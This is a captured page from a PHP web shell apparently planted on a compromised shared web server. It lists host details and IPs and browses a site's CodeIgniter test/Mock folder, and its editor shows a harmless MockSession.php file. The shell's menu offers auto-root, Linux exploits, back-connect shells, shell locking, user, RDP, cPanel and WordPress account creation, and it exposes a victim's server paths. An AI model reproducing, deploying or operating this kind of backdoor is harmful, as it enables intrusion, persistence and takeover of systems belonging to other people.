Linux host40.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
: 68.65.120.213 | : 216.73.217.2
Cant Read [ /etc/named.conf ]
7.4.33
trade
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
trade /
mlm.tradesense.co.ke /
system /
Test /
Mock /
[ HOME SHELL ]
Name
Size
Permission
Action
MockAppConfig.php
1.2
KB
-rw-r--r--
MockAutoload.php
558
B
-rw-r--r--
MockBuilder.php
367
B
-rw-r--r--
MockCLIConfig.php
1.12
KB
-rw-r--r--
MockCURLRequest.php
1.09
KB
-rw-r--r--
MockCache.php
7.16
KB
-rw-r--r--
MockCodeIgniter.php
455
B
-rw-r--r--
MockCommon.php
751
B
-rw-r--r--
MockConnection.php
5.18
KB
-rw-r--r--
MockEmail.php
804
B
-rw-r--r--
MockEvents.php
695
B
-rw-r--r--
MockFileLogger.php
791
B
-rw-r--r--
MockIncomingRequest.php
470
B
-rw-r--r--
MockLanguage.php
1.23
KB
-rw-r--r--
MockLogger.php
3.81
KB
-rw-r--r--
MockQuery.php
353
B
-rw-r--r--
MockResourceController.php
619
B
-rw-r--r--
MockResourcePresenter.php
675
B
-rw-r--r--
MockResponse.php
729
B
-rw-r--r--
MockResult.php
1.77
KB
-rw-r--r--
MockSecurity.php
709
B
-rw-r--r--
MockSecurityConfig.php
727
B
-rw-r--r--
MockServices.php
794
B
-rw-r--r--
MockSession.php
1.6
KB
-rw-r--r--
MockTable.php
698
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MockSession.php
<?php /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\Test\Mock; use CodeIgniter\Cookie\Cookie; use CodeIgniter\Session\Session; /** * Class MockSession * * Provides a safe way to test the Session class itself, * that doesn't interact with the session or cookies at all. */ class MockSession extends Session { /** * Holds our "cookie" data. * * @var Cookie[] */ public $cookies = []; public $didRegenerate = false; /** * Sets the driver as the session handler in PHP. * Extracted for easier testing. */ protected function setSaveHandler() { // session_set_save_handler($this->driver, true); } /** * Starts the session. * Extracted for testing reasons. */ protected function startSession() { // session_start(); $this->setCookie(); } /** * Takes care of setting the cookie on the client side. * Extracted for testing reasons. */ protected function setCookie() { $expiration = $this->sessionExpiration === 0 ? 0 : time() + $this->sessionExpiration; $this->cookie = $this->cookie->withValue(session_id())->withExpires($expiration); $this->cookies[] = $this->cookie; } public function regenerate(bool $destroy = false) { $this->didRegenerate = true; $_SESSION['__ci_last_regenerate'] = time(); } }
Close